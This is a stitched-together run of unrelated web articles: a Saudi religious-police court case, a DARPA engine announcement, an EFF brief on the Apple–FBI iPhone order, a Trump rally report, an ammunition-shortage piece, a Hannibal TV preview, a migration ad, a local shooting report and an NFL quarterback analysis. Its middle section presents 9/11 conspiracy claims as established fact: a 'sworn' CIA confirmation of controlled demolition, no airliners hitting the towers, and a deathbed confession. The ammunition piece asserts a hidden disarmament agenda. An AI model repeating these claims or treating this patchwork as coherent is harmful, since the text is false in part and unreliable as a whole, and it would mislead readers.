Saudi Arabia follows a strict interpretation of Islam called Wahhabism and punishes unrelated men and women who are caught mingling.
The Commission for the Promotion of Virtue and Prevention of Vice, feared by many Saudis, is made up of several thousand religious policemen charged with duties such as enforcing dress codes, prayer times and segregation of the sexes. Under Saudi law, women face many restrictions, including a strict dress code and a ban on driving. Women also need to have a man's permission to travel.
Al Watan obtained the court's verdict and reported it was partly based on the testimony of the religious police. In his ruling, the judge said it was proved that Fahd is not Sawadi's son through breastfeeding.
The court also doled out punishment to the two men. Fahd was sentenced to four months in prison and 40 lashes; Hadian was sentenced to six months in prison and 60 lashes. In a phone call with Al Watan, the judge declined to comment and suggested the newspaper review the case with the Ministry of Justice. Sawadi told the newspaper that she will appeal, adding that Fahd is indeed her son through breastfeeding.
A top Saudi human rights lawyer, Abdulrahman Al-Lahem, volunteered to defend the woman and the two men and has been given power of attorney by them. He told CNN he plans to file an appeal in the case next week.
Efforts to reach Saudi officials at the Justice Ministry, religious police and other agencies were unsuccessful. A spokesman for the Saudi embassy in Washington said he had no details on the case.
The case sparked anger in Saudi Arabia.
"It's made everybody angry because this is like a grandmother," Saudi women's rights activist Wajeha Al-Huwaider told CNN. "Forty lashes -- how can she handle that pain? You cannot justify it."
This is not the first Saudi court case to cause controversy.
In 2007, a 19-year-old gang-rape victim in the Saudi city of Qatif was sentenced to 200 lashes and six months in prison for meeting with an unrelated male. The seven rapists, who abducted the woman and man, received sentences ranging from 10 months to five years in prison.
The case sparked international outrage and Saudi King Abdullah subsequently pardoned the "Qatif Girl" and the unrelated male.
Al-Lahem, who has taken on many high-profile cases in recent years, represented the girl and received an award from Human Rights Watch last year. However, a travel ban issued by Saudi authorities kept him from traveling to London, England, to receive it.
Many Saudis hope the Ministry of Justice will be reformed. Saudi King Abdullah bin Abdulaziz announced in February a major Cabinet reshuffling in which many hard-line conservatives, including the head of the commission, were dismissed and replaced with younger, more moderate members.
The new appointments represented the largest shakeup since King Abdullah took power in 2005 and were welcomed in Saudi Arabia as progressive moves on the part of the king, whom many see as a reformer. Among ministers who've been replaced is the minister of justice.
The actions of the religious police have come under increased scrutiny in Saudi Arabia recently, as more and more Saudis urge that the commission's powers be limited. Last week, the religious police detained two male novelists for questioning after they tried to get the autograph of a female writer, Halima Muzfar, at a book fair in Riyadh, the capital of the kingdom.
"This is the problem with the religious police," added Al-Huwaider, "watching people and thinking they're bad all the time. It has nothing to do with religion. It's all about control. And the more you spread fear among people, the more you control them. It's giving a bad reputation to the country."
Facial recognition is an area in which several major tech companies have interest, though it's not without controversy. Facebook decided against releasing its Moments photo app in Europe because of fears over privacy regulations, and Google Photos only offers its facial recognition feature in the US.
Former CIA agent John Lear has not only given a sworn statement as an expert witness, but he has also produced conclusive evidence that disproves the official narrative that the towers were destroyed by airplanes that were highjacked and flown by terrorists.
Speaking under oath, Agent Lear confirms that the WTC buildings in New York were demolished using pre-planted explosives in a carefully orchestrated and well-engineered plot by the United States government and CIA, adding:
No Boeing 767 airliners hit the Twin Towers as fraudulently alleged by the government, media, NIST and its contractors
His statements have finally confirmed the long standing theory that the Twin Towers were struck by military planes that had been made to resemble passenger jets and a controlled demolition reduced the buildings to rubble afterward.
The 3rd plane failed to strike WTC7 as initially intended due to unknown complications, but all three towers were still destroyed as planned.
These revelations by Lear tie in completely with the statements by last month by dying CIA agent Malcom Howard, who made a death bed confession that he was part of a highly classified operation that was tasked with blowing up World Trade Center Building 7.
Speaking from a hospital bed, the New Jersey native says he was part of a cell of 4 CIA operatives who worked on a project dubbed "New Century" between May 1997 and September 2001 that was tasked with ensuring the successful demolition of WTC7, at a time, he says, the CIA "was still taking orders from the top".
Even Donald Trump, who is one of the most experienced property developers in New York City, stated that the building could only have been brought down by explosive as "planes would never be able to penetrate the steel beams."
President Donald Trump saw the same day that bombs must have been used on the WTC towers on 9/11/2001.
He quickly knew that the official Bush Story of 9/11 (BS911) was a lie. From his experience building steel sky scrapers, he knew they were built to be strong, even against a jet. He stated to the reporter that bombs must also have been involved:
Donald showed what a nice guy he is, as he called his competitor Larry Silverstein to see if he was ok. He did not suspect Larry let 3000 of his tenants die for over $4 billion from insurance.
Speaking about the impossibility of passenger jets being flown into the towers, CIA Agent John Lear stated in his sworn affidavit:
Such crashes did not occur because they are physically impossible as depicted, for the following reasons: in the case of UAL 175 going into the south tower, a real Boeing 767 would have begun 'telescoping' when the nose hit the 14-inch steel columns which are 39 inches on center. The vertical and horizontal tail would have instantaneously separated from the aircraft, hit the steel box columns and fallen to the ground. The engines when impacting the steel columns would have maintained their general shape and either fallen to the ground or been recovered in the debris of the collapsed building. No Boeing 767 could attain a speed of 540 mph at 1000 feet above sea level ‘parasite drag doubles with velocity’ and ‘parasite power’ cubes with velocity. The fan portion of the engine is not designed to accept the volume of dense air at that altitude and speed. The piece of alleged external fuselage containing 3 or 4 window cutouts is inconsistent with an airplane that hit 14-inch steel box columns, placed at over 500 mph: It would have crumpled. No significant part of the Boeing 767 or engine could have penetrated the 14-inch steel columns and 37 feet beyond the massive core of the tower without part of it falling to the ground. The debris of the collapse should have contained massive sections of the Boeing 767, including 3 engine cores weighing approximately 9000 pounds apiece which could not have been hidden. Yet there is no evidence of any of these massive structural components from either 767 at the WTC. Such complete disappearance of 767s is impossible.
The New York City skyline after 9-11 / image by Yovav Gad / source UFOToday.com / license CC BY This image was taken using Canon PowerShot SD1400 IS, Exposure set to auto, not defined, 0.008 sec, f/13.0, ISO 100, Focus set to one-shot AF mode, very close range, single, Flash set to off, did not fire, Originally created on April 19, 2016 11:15 AM, Edited on April 23, 2016 10:47 PM with paint.net 4.0.16, Original upload size 347.65 KB, MD5 signature ead501ffb1aa23d651a91c03dcaa3dce
Unlike any other form of statement, an affidavit becomes truth in law, if it is not rebutted. It will now be up to critics of the theory to present their evidence and analysis to rebut the statement point by point. If they do not – or cannot – then the US government will by omission be allowing that the account given by the 9/11 Commission is wrong.
The retired airline captain and former CIA pilot – who has over 19,000 hours of flight time — also drew attention to the inexperience of the pilots who allegedly flew the planes:
The alleged 'controlled' descent into New York on a relatively straight course by a novice pilot in unlikely in the extreme because of the difficulty of controlling heading, descent rate and descent speed within the parameters of 'controlled' flight.
It takes a highly skilled pilot to interpret the "EFIS" (Electronic Flight Instrument Display) display, with which none of the hijacker pilots would have been familiar or received training on, and use his controls, including the ailerons, rudder, elevators, spoilers and throttles to effect, control and maintain a descent.
Lear has, according to his sworn statement, flown over 100 different types of planes during his 40 years of flying and holds more FAA airman certificates than any other FAA certificated airman.
He flew secret missions for the CIA in Southeast Asia, Eastern Europe, the Middle East and Africa between 1967 and 1983 then spent 17 years working for several passenger and cargo airlines as Captain, Check Airman and Instructor.
He is a member of PilotsFor911Truth.org, which has consistently argued that it was impossible for jet airliners to have hit the Twin Towers in the way the 9/11 Commission has suggested. The Commission did not take evidence from pilots when it conducted its inquiry into the attacks from 2002 to 2004.
The National September 11 Memorial in New York City / image by Yovav Gad / source UFOToday.com This image was taken using Canon PowerShot SD1400 IS, Exposure set to auto, not defined, 0.001 sec, f/2.8, ISO 80, Focus set to one-shot AF mode, very close range, single, Flash set to off, did not fire, Originally created on April 18, 2016 12:27 PM, Edited on April 23, 2016 9:42 PM with paint.net 4.0.16, Original upload size 412.15 KB, MD5 signature 1f305cf05b447044e5e31c3196bd4e5f
The events of September 11, 2001, arranged into a news narrative, as they unfolded live on CNN, Fox News, MSNBC, ABC News, CBS News, NBC News, BBC, and Sky News. Also included are notable excerpts from the FAA and NORAD audiotapes, a 9-1-1 call to a New York City dispatcher, and a portion of the recording from United Airlines Flight 93's cockpit voice recorder. Due to the editing process, some video clips may not represent the correct chronological order (the original video was recently removed by YouTube, another one just disappeared here is another version of it):
Truth Torrent spotted a CGI glitch:
How did no one notice this until now?? #TruthTorrent Posted by Truth Torrent on Saturday, February 27, 2016
Remarkable footage shows a mysterious ball instead of the alleged airplane that may have been added later using video editing (a better quality of this original video and another copy were also removed by YouTube):
Amazing new evidence suggests Mainstream Media colluded with the terrorists on 9/11
9/11 Ball Theory Exposes Mainstream Media - part 2
9/11 Ball Theory Exposes Mainstream Media - part 3
Analysis and 3D model of the impact of the ball (YouTube also keep removing this video)
Another footage was taken in July 24, 2000 (414 days before 9/11) shows a strange UFO that could be related to that mysterious ball. This video is a restored version of the online traces of what used to be TV quality video of an alleged UFO Spaceship sighting in southern Manhattan, or more famously, the World Trade Center towers in New York City. The viewer is situated east of the towers looking west. Many years ago, SciFi Network posted the video (*.mov) on its website (24 frames per second). At some unknown time, the video data (and maybe the video itself) was sent to Japan. Online, the traces of this exchange are in 30 frames per second:
Hello again!
It's been a whole year and the time has come for the community to choose their year 2015 favourites among Polish osu!Standard players.
As always, there are some rules:
You can't vote for yourself.
Troll votes will be dealt with.
No votes for banned/restricted players.
Your account must be at least 6 months old.
Obviously, only vote for osu! standard players.
The order IS IMPORTANT
To help remove these constraints and lay the framework for routine hypersonic flight with reusable vehicles, DARPA has launched its Advanced Full Range Engine (AFRE) program. AFRE seeks to develop and demonstrate a new aircraft propulsion system that could operate over the full range of speeds required from low-speed takeoff through hypersonic flight.
“Instead of designing an entirely new kind of engine, we’re envisioning an inventive hybrid system that would combine and improve upon the best of off-the-shelf turbine and ramjet/scramjet technologies,” said Christopher Clay, DARPA program manager. “This won’t be the first time that ambitious engineers will attempt to combine turbine and ramjet technologies. But with recent advances in manufacturing methods, modeling, and other disciplines, we believe this potentially groundbreaking achievement may finally be within reach.”
AFRE aims to explore a turbine-based combined cycle (TBCC) engine concept, which would use a turbine engine for low-speed operations and a dual-mode ramjet—which would work efficiently whether the air flowing through it is subsonic (as in a ramjet) or supersonic (as in a scramjet)—for high-speed operations. The two components of the hybrid engine would share a common forward-facing air intake and rear-facing exhaust nozzle to release thrust.
AFRE aims to develop critical technologies and culminate in ground-based testing of a full-scale, integrated technology demonstration system. If that testing is successful, further development of the AFRE technology would require flight testing in a potential follow-on demonstration program.
Systems that operate at hypersonic speeds offer the potential for military operations from longer ranges with shorter response times and enhanced effectiveness compared to current military systems. Such systems could provide significant payoff for future U.S. operations, particularly as adversaries’ capabilities advance.
To familiarize potential participants with the technical objectives of AFRE, DARPA has scheduled a Proposers Day in advance of a planned Broad Agency Announcement (BAA). The Proposers Day will be held on Wednesday and Thursday, July 13 and 14, 2016 at the DARPA Conference Center in Arlington, Va. The event will run from 1:00 PM to 5:00 PM Eastern on July 13 and from 9:00 AM to 12:00 PM Eastern on July 14.
The Special Notice announcing the event is available at http://go.usa.gov/chjzj. Advance registration is required through the registration website: https://www.client-meeting.net/DARPA-TTO-AFRE-Proposers-Day/. Registration closes Wednesday, July 6, 2016 at 2:00 PM Eastern or when capacity is reached, whichever comes first. There is no fee for registration. Due to space limitations of the conference facility, attendance is limited to the first 150 registrants and no more than four representatives per organization (parent company). Questions about the AFRE Special Notice and Proposers Day may be directed to DARPA-SN-16-43@darpa.mil.
Image Caption: DARPA’s new Advanced Full Range Engine (AFRE) program seeks to develop and demonstrate a new aircraft propulsion system that could operate at subsonic through hypersonic speeds and lay the framework for routine, reusable hypersonic flight. Click below for high-resolution image.
Media with inquiries should contact DARPA Public Affairs at outreach@darpa.mil
On February 16, a federal magistrate judge in southern California ordered Apple to write and sign the new code in support of the FBI’s ongoing investigation of last December’s San Bernardino shooting. The court granted the government’s request to require Apple to provide software to help unlock an iPhone 5c used by one of the shooters. The phone is encrypted with a passcode and protected by additional iOS security features the government says it cannot bypass. In an unprecedented move, the order requires Apple to create a brand new version of its operating system with intentionally weakened security features, which the government can then use to get into the phone.
On February 25, Apple filed a motion to vacate the Judge’s order. Apple argued that compelling it to create and sign code is an extraordinary expansion of the All Writs Act, the law the government is relying on in this case. Earlier this week, a judge in New York—in a different iPhone unlocking case involving an older version of iOS—denied a request under the All Writs Act that would have forced Apple to bypass the lock screen of a seized iPhone. The judge recognized that forcing Apple to unlock the phone would require an absurd interpretation of the All Writs Act.
But what the government is asking Apple to do in this case—i.e., force Apple and its programmers to write and sign the code necessary to comply with the judge’s order—is not just an unprecedented expansion of the All Writs Act that puts the security and privacy of millions of people at risk. It is also a violation of the First Amendment.
As we explain in our amicus brief, digital signatures are a powerful way of communicating the signer’s endorsement of the signed document—in this case, the custom iOS code. Due to the mathematical properties of digital signatures—invented in part by signers of our brief, including Martin Hellman and Ron Rivest—it would be very difficult to impersonate Apple without possessing the company’s secret signing key. Apple has chosen to build its iOS in such a way that its devices only accept iOS code signed by Apple, a design it believes best ensures user trust and strengthens the security of these devices. Since over 3 million phones were stolen in 2013 alone, the protections Apple is providing are important. By requiring Apple to sign code that undermines the security features Apple has included in iOS, the court’s order directly compels the company’s strong and verifiably authentic endorsement of the weakened code.
This is where the First Amendment comes in. The Constitution clearly prevents the government from forcing people to endorse positions they do not agree with. Whether that endorsement takes the form of raising your hand, signing a loyalty oath, putting a license plate motto on your car or, as here, implementing an algorithm that creates a digital signature, the problem is the same. As the Supreme Court noted in a case involving whether the government could force private parade organizers to include viewpoints they disagreed with, “[W]hen dissemination of a view contrary to one’s own is forced upon a speaker intimately connected with the communication advanced, the speaker’s right to autonomy over the message is compromised.” As a result, government mandates requiring people to speak are subject to strict scrutiny—the most stringent standard of judicial review in the United States.
Of course, the fact that Apple expresses its beliefs in the language of computer code and in digital signatures verifying its code implicates a set of cases where EFF pioneered the recognition that writing computer code is a form of, well, writing. In Bernstein v. DOJ and later in Universal City Studios, Inc. v. Corley, the courts agreed with us that, just like musical scores and recipes, computer code “is an expressive means for the exchange of information and ideas.” The fact that the expression comes in the form of code may implicate the level of regulation the government can apply, but not whether the code is in fact expressive.
Here, the problem is even more acute. Apple is being forced to actually write and endorse code that it—rightly—believes is dangerous. And in doing so, it is being forced to undermine the trust it has established in its digital signature. The order is akin to the government forcing Apple to write a letter in support of backdoors and sign its forgery-resistant name at the bottom. This is a clear violation of Apple’s First Amendment rights, in addition to being a terrible outcome for all the rest of us who rely on digital signatures and trustworthy updates to keep our lives secure.
The court will hear argument on Apple’s motion to vacate at 1:00 p.m. on March 22, 2016, in Riverside. We hope the judge reconsiders this dangerous and unconstitutional order.
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MIAMI — Donald Trump mixed policy with intimations of violence in Miami on Friday, reversing his position on re-engaging with Cuba and pushing for Hillary Clinton’s security to disarm because of her proposed firearm reforms.
Trump represented Clinton's position on gun rights as wanting to "destroy your Second Amendment" and said that her bodyguards should no longer carry firearms in light of her policy stance, which includes expanded background checks for gun sales.
"She doesn’t want guns, take their — let’s see what happens to her,” Trump said. "Take their guns away, okay? It’ll be very dangerous."
Related: Trump's Lengthy History of Conspiracy Theories and Rumors
Trump's comments were slammed by Clinton's campaign on Friday night:
"Donald Trump, the Republican nominee for President, has a pattern of inciting people to violence. Whether this is done to provoke protesters at a rally or casually or even as a joke, it is an unacceptable quality in anyone seeking the job of Commander in Chief," Clinton's campaign manager, Robby Mook, wrote in a release.
"This kind of talk should be out of bounds for a presidential candidate, just like it should be out of bounds for a presidential candidate to peddle a conspiracy theory about the President of the United States for five years," Mook added.
"But we've seen again and again that no amount of failed resets can change who Donald Trump is. He is unfit to be President and it is time Republican leaders stand up to denounce this disturbing behavior in their nominee."
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Former U.S. Rep. Gabrielle Giffords, who was wounded in a 2011 shooting attack that left six people dead, also denounced Trump's comments, and called Trump "reckless, irresponsible and unworthy of the office he seeks."
"We call on him to renounce these comments, apologize to Hillary Clinton, and acknowledge that once again he has gone dangerously too far," Giffords and her husband, Mark Kelly, said in a statement.
The Trump campaign hasn't yet respond to a request for comment.
Related: Trump Second Amendment Comment Seen As Veiled Threat
The GOP nominee has espoused this sentiment before. In May, at a National Rifle Association conference, Trump called Clinton a “heartless, hypocrite” who wanted to take guns away from Americans when her own body guards used them for her protection.
"So I think that, in addition to calling for them to name judges, we'll also call them and let their body guards immediately disarm. OK, no they should immediately disarm and let’s see how good they do. Let's see how they feel walking around without their guns on their bodyguards.”
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Trump has intimated violence against Clinton in the past, joking at a rally in Fayetteville, North Carolina last month that if Clinton wins and gets to pick Supreme Court justices there's nothing that can be done for proponents of the right to bear arms. “Although, the Second Amendment people, maybe there is, I don’t know.”
The comment raised eyebrows, prompting a response from the Clinton campaign that officially accused Trump of inciting violence against the Democratic nominee and calling Trump’s words “dangerous."
The Trump campaign at the time responded with their own statement, saying Trump was referring to “the power of unification” and calling upon the voting power of “Second Amendment people,” according to senior communications adviser Jason Miller.
Clinton has stated in the past that she has no intention of abolishing the Second Amendment. She has called for "commonsense approaches" to reduce gun violence, which on top of expanded background checks includes closing gun show and internet sales loopholes.
Trump's About-Face on Cuba
Republican presidential candidate Donald Trump. Evan Vucci / AP
The Republican nominee also shifted his policy on Cuba Friday, telling the Miami crowd that cheered when he asked how many of them were Cuban that he would reverse Obama’s orders on Cuba “unless the Castro regime meets our demands.”
“Those demands will include religious and political freedom for the Cuban people and the freeing of political prisoners, the freeing of political prisoners,” Trump outlined. Then, polling the crowd on his just laid out policy, Trump asked, “Right? Am I — is that right?” The crowd cheered.
Trump, who has been known to add spontaneous riffs into his prepared remarks, took it upon himself to add the caveat of freeing political prisoners to his list of demands from Cuba in order to keep diplomatic relations open.
The GOP nominee previously said he was “fine” with the Obama administration’s decision to reopen diplomatic relations with Cuba, though he was critical of the deal that was made and stressed the need for a better one. "I think it's fine,” he said in September of last year. "I think it's fine, but we should have made a better deal. The concept of opening with Cuba is fine.”
Just this July, Trump told a CBS affiliate in Miami that “at the right time Cuba would be a good opportunity for investment” but “probably the time’s not right” for Trump to invest in the country.
Trump and his team sought to capitalize off comments from Secretary Clinton calling his supporters “deplorables” with a dramatic and theatrical entrance to Les Miserables’ “Do You Hear the People Sing?” On the screen behind Trump, an appropriated image from the show that read “Les Deplorables.” The song speaks of revolution and — for Broadway buffs — is a forceful cry to mobilize in the name of revolution and change. The band of revolutionaries who perform the song in the show, however, are defeated during the main battle of the revolution.
An international firearms dealer said the White House is blocking ammunition sales to American citizens as federal agencies continue to stockpile.
“There are elements in the United States government moving to obstruct commercial ammunition sales,” said Anthony Melé, an international firearms dealer and owner of AMI Global Security, LLC. AGS is a defense trade and manufacturer’s exporter registered with the U.S. Department of Defense and the United Nations.
The Bureau of Alcohol, Tobacco, Firearms, and Explosives denied AGS’s application for an ammunition-order by designating typical rifle rounds as armor piercing if they are made with a steel core instead of a lead core, he said. “They designated the ammunition AP, defined as armor piercing, even though the ammunition being supplied cannot pierce armor.”
“If ATFE were accurate, then a ten-cent bullet could penetrate a $5 million Abrams tank,” he said. “Obviously this makes little technical sense.”“What makes a bullet armor piercing along with the caliber, full metal jacket brass is the projectile of the bullet, not the inner core,” he said.
“We secured a deal between an international supplier and an American wholesaler for four million rounds of ammunition used typically with semi-automatic rifles, after a three-month intense negotiation process that started in January,” said Melé.
They successfully negotiated many licenses, approvals, and shipping details in order to transport the ammunition over multiple borders to close the sale, only to be rejected by ATFE, said the U.S. Army veteran. “There were technical difficulties involved, but we were able to successfully lock all parties into an agreement. It was not easy.”
After the deadly Dec. 14 shooting at Sandy Hook Elementary School in Newtown, Conn., that resulted in 26 deaths, including the lone-gunman, President Barack H. Obama Jr. called for immediate action and concrete gun control policies.
Melé, who studied international diplomacy and international conflict management at Vermont’s Norwich University, said they suffered a significant loss due to the anti-Second Amendment antics of the Obama administration, which have a hidden agenda of disarmament.
The AP designation is an excuse to decrease commercial sales of ammunition, he said. “There is a real shortage of ammunition in the United States perhaps due to the Obama administration buying-up the entire surplus and directing agencies to block ammunition imports.”
Republican lawmakers in the Senate and House of Representatives introduced a joint bill in late April that would limit the amount of ammunition federal agencies, except for the Department of Defense, are permitted to purchase.
“The Obama administration has prevented Americans from obtaining the very same rounds that the government is buying,” Melé said.
“Some would opine that the steel core bullets are the dreaded cop killer ones, but that too is inaccurate when the projectile disintegrates on impact,” he said. Teflon-coated bullets, sometimes colloquially known as “cop killer bullets” are covered with a coating of polytetrafluoroethylene. Developed in the 1960s for improved penetration against hard targets, the product was discontinued in the 1990s.
“After the Sandy Hook tragedy, ammunition supply decreased dramatically,” said Enrique A. DeJesus, who is a U.S. Air Force veteran and avid sportsman from Rotterdam, N.Y.
Prices for ammunition have gone up considerably and major stores are rationing supplies, he said. “Wal-Mart in Albany County is now limiting purchases to three boxes per customer.”
“I prefer to support my local gun store American Shooter Supply before looking elsewhere, but the situation is basically the same wherever you go,” he said.
To accommodate its customers, ASS has introduced a service where customers can sign up and are notified via text or phone when ammunition has arrived, he said. “It is their way of being customer-focused and doing their best to deliver ammunition in the current anti-gun climate.”
DeJesus, who studied political science with an emphasis in law at New Paltz University, said there is a small group of ammunition buyers who are capitalizing off the government’s ammo-grab. “They are purchasing bulk quantities and re-selling at a marked-up price, essentially price gouging.”
Price gouging is when a seller prices goods much higher than what is considered reasonable or fair. “As a result, firearms enthusiasts have to decide whether those high prices are worth it,” he said.
“While defensive ammunition is readily available versus the scarcity of target ammunition, it is more expensive and contains hollow points which expand upon entry and are not ideal for training purposes,” he said.
“Target or ball ammunition contains a solid projectile which does not expand upon entry and is better suited for training. Currently these are the hardest to find,” he said.
DeJesus said that the exercise of our Second Amendment right has been temporarily neutered because of an artificial ammunition shortage.
Nonetheless, all guns are lethal, he said. “People ought to be involved in some type of continual training to maintain proficiency and readiness, since it is a perishable skill.”
“As a responsible and lawful gun owner, safety is paramount when handling firearms of any kind, but politicians and officials in Washington D.C. should not be in the business of determining which ammunition I train with,” he said.
“It is disconcerting to know that the federal government wants to keep ammunition out of the hands of law abiding civilians.” said the International Defensive Pistol Association member. IDPA is a shooting sport that teaches members how to effectively respond in self defense scenarios and real life encounters.
Department of Homeland Security Secretary Janet Napolitano, who has been in office since 2009, is funded by congress without accountability and oversight, DeJesus said. “Napolitano has a standing open order for more ammunition, but no one knows why.”
“If DHS can have ammunition, why can’t we?” he asked.
Mads Mikkelsen is on somewhat of a roll at the moment. His new movie, The Hunt is great, it won him the Best Actor Award at this years Cannes, and he is next about to headline in his own TV show. Hannibal, from showrunner by Pushing Daisies‘ Bryan Fuller, is a prequel TV series based around the man’s misadventures before he became incarcerated.
These photos, scanned by Le Blog Du Cine (via The Playlist) offer us our first look at Mikkelsen looking all creepy. We also get pictures of Lawrence Fishburne and Hugh Dancy as Jack Crawford and Hannibal’s nemesis, Will Graham.
At one point Fuller suggested that the show would be about Lecter before he became a monster and a villain, so he didn’t feel the need to ramp up his villainy. That if we didn’t know what he turns into, we wouldn’t know it was coming. So judging from that, these pictures must come towards the end of the series because this does all look pretty Lecter-esque. That or he is just staring down at any old meat, which I suppose isn’t out the realms of possibility if they are just foreshadowing his eventual diet.
The show should be hitting in Spring 2013 so we shall be finding out then.
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1. Firm foundation of the economy during recession – Strong standing economy of Australia even during the recession is the primary reason that still beckons immigrants to apply for Australian migration, even after the racial attacks. Efficiency of the government sector, flexibility of the labor market along with competitiveness of the business sector has improved conditions in Australia drastically, with country being counted among the world’s best high growth and resilient economies.
2. Business and professional growth – Besides being a beautiful country, Australia is also known as an important destination for business growth and development. Deregulated economy of Australia along with its technical strength and vast natural resources, make it an ideal platform for successful businesses.
Considering the ongoing upward trend of professional and business growth in Australia, the government of the country is now keen to invite skilled workers from other countries to fulfill workforce shortages in their economy, who contribute to strengthen it even more. Furthermore, people working in Australia enjoy extremely high pay rates and appreciation is easily won by deserving skilled workers.
3. Commendable tax system – Underpinning this is the favorable tax system that is no less appreciative than other economies of the west. This tax amount is utilized efficiently by the government in making significant investment to enhance overall public infrastructure that includes transport, health, training and education.
Boleyn came to the Marion police department and was cited and released on a promise to appear in court for an incident that happened on June 22.
Around 11:40 p.m. Boleyn caused damage to Samuel Gire’s car by shattering his window, resulting in the Criminal Mischief charge.
Boleyn was also charged with Disorderly Conduct. He was charged due to exiting his car, challenging Gire and one other person to a physical fight, and then breaking out Gire’s car window.
This led to Boleyn being shot by Gire, while Gire was still in his vehicle.
The Marion Police Department has determined that Gire was acting in self-defense and reviewed the new Stand Your Ground law.
To read previous KCRG-TV9 coverage go to:
All four organizations acted in response to the NFL's overarching, inviolate reality that the value of a legitimate young franchise quarterback is beyond calculable.
Even before offensive masterminds such as Bill Walsh and Don Coryell revolutionized the passing game in the 1970s and early '80s, legendary Packers coach Vince Lombardi understood that football was the perfect team game except for one conspicuous problem -- the quarterback was too important.
The NFL has undergone a subsequent passing revolution over the past decade, forcing the field general's role to evolve in response to the modern game's increased demands.
"Until you find your quarterback," Falcons general manager Thomas Dimitroff has acknowledged, "the search for him consumes you."
Sustained NFL success correlates to steady quarterback performance whereas exhaustive searches for a solution to professional sports' trickiest position deplete resources otherwise spent stockpiling talent.
The Buccaneers and Titans gave Kelly the stiff-arm last offseason because they were convinced that Jameis Winston and Marcus Mariota would quickly emerge as not just competitive advantages but also the face of their respective franchises.
Although seemingly polar opposites from a skill-set perspective, both quarterbacks showed enough promise as rookies to bolster that belief.
Mariota is poetry in motion, with graceful, gliding feet, a lightning-quick release, superb play-faking handiwork and pinpoint mid-range accuracy, dissecting the underbelly of defenses via quick-hitting rhythm passes into tight windows.
A deceptive natural athlete and a fierce competitor, Winston is a classic big-bodied drop-back quarterback with uncanny pocket awareness and a long release, relentlessly attacking downfield and outside the numbers.
Let's go in-depth to examine each of the quarterback's strengths and weaknesses, starting with Mariota.
Marcus Mariota
Bill Walsh was obsessed with his quarterbacks' footwork, once describing Joe Montana's movement as "almost sensual."
"I remember Bill Walsh talking to me one day and he goes, 'Ronnie, look at Joe's feet,'" Hall of Fame safety Ronnie Lott delighted in Bill Walsh: A Football Life. "'They're just beautiful! They're just beautiful!'"
It's a shame Walsh's equal isn't around to mold the Titans' quarterback clay into sublime football artwork. When I watch Mariota play, I can't shake the visions of Montana and Jake Plummer dancing in my head.
More physically gifted than either of those retired quarterbacks, Mariota is custom-made for a boot-action, roll-out scheme such as the one Walsh invented and Mike Shanahan later refined.
"He throws on the move as well as anybody I've seen," one scout raved to Bob McGinn of the Milwaukee Journal-Sentinel leading up to the 2015 NFL Draft.
Walsh never sought a prototypical statuesque pocket passer throwing over the top of towering defensive linemen. He wanted one nimble enough to sidestep oncoming pass rushers in favor of finding throwing lanes, a mobile quarterback more inclined to buy time for the correct read as opposed to a scrambling sandlot sensation running for yardage.
That latter point represents the primary difference between Mariota's run-action attack and Robert Griffin III's magical 2012 campaign.
"When he's in the pocket, his helmet remains downfield. He never dips his helmet, which means he's constantly looking for his receivers," NFL Media analyst Nate Burleson explained after Mariota's fabulous first game. "And for a guy that athletic, that's very special. Because he can run if he wants to; he can probably go for 115 yards every game. But he wants to get the ball out of his hand, which is so good to see for a young quarterback."
Later in the season, Mariota went on to become the first player in NFL history with at least 250 yards and three touchdowns passing and 100 yards rushing in a single game.
For all of that obvious potential, however, there are several areas in which Mariota pales in comparison to Winston.
Whereas Winston makes his living downfield and outside the numbers, Mariota ranked dead-last among qualifying quarterbacks in passes over 20 yards. The Titans' vertical attack was so feeble that Johnny Manziel completed more deep passes in six starts than Mariota's seven in 12 starts.
Mariota's accuracy shines on short to intermediate throws between the numbers. The question is how much of the blame he shoulders for the lack of splash plays. While arm strength isn't an issue, his throwing motion doesn't seem geared toward a consistent deep-ball release. Too often, he floated balls that should have been heaved and overshot his receivers on routes that called for a drop in the bucket.
That said, Mariota received precious little help from his surrounding talent. His receivers and running backs were the NFL's least effective while pass protection issues resulted in a league-high 54 sacks of Tennessee quarterbacks. With a treasure chest of draft picks, general manager Jon Robinson should be able to find bigger, faster receivers capable of winning the hand-fighting battles with defensive backs on the sidelines and deep down the field.
Mariota can't wash his hands of the high sack numbers and hard hits. He doesn't share Winston's knack in the pocket. Tentative at times in the face of pressure, Mariota can be careless with the ball as well as his body.
On balance, it's not too early to recognize the Titans already boast a quarterback with special traits. Mariota and Russell Wilson were the only quarterbacks to post three of the top 25 weekly QBR scores in 2015. Mariota's 38.4 first-down percentage ranked fourth in the league behind a trio of MVP candidates in Carson Palmer, Cam Newton and Wilson.
"He is a nightmare for you," Colts coach Chuck Pagano conceded at the NFL Annual Meeting in March. "He is wired the right way. His DNA is spot on. He is a winner, a tough guy, a competitor, and he's smart. All the intangibles are there for him to be a really good football player. What makes him tough is he can beat you in so many ways. ... He is a great, great talent."
Underappreciated in his prime, Plummer never fulfilled Walsh's expectations as the reincarnation of Montana.
As the evolutionary Plummer, Mariota is the latest model of accurate, athletic, nimble-footed quarterbacks ideally suited to flourish in the Walsh-Montana roll-out system. What should have Titans faithful especially excited is that teammates and coaches have already begun genuflecting as acolytes to the vision of Mariota as franchise savior.
As early as training camp, one undisclosed player attested, "We got the right one."
By the end of the season, go-to tight end Delanie Walker nonchalantly proclaimed his vision of Mariota as a "great player" from the moment the former Oregon star landed in Nashville.
New offensive coordinator Terry Robiskie is in lockstep, identifying Mariota as "a special talent, a special guy" who appears to be "just a natural-born football player."
Pro Bowl linebacker Brian Orakpo went a step further, insisting Mariota is "for sure" a franchise-caliber quarterback.
Pressed by NFL Media's Albert Breer, Orakpo didn't flinch: "Absolutely. They did good with that one."
Jameis Winston
If Mariota is the Walsh prototype, Winston is straight out of Al Davis' central quarterback casting.
Davis' classic Raiders offenses featured oversized offensive linemen protecting rifle-armed quarterbacks long enough to dial up bombs on slower-developing pass routes deep down the field.
Whereas Titans coaches eased Mariota's transition by incorporating college-spread principles and read-option looks, Winston was thrown into the fire at the helm of a pro-style offense.
Despite the dreadful opener versus Mariota's Titans, the draft's No. 1 pick came as billed, offering precocious instincts, anticipation passing, a large frame capable of withstanding hits in the pocket and a willingness to pull the trigger on tight-window NFL throws with power, touch and accuracy.
Perhaps the most common misconception is that Winston is not a great athlete, a notion ingrained with weight fluctuations and an underwhelming performance at the NFL Scouting Combine.
Make no mistake, Winston isn't a quick-twitch athlete blessed with Mariota's jump-rope feet. He moves deliberately in his dropback, delivery and pocket jockeying.
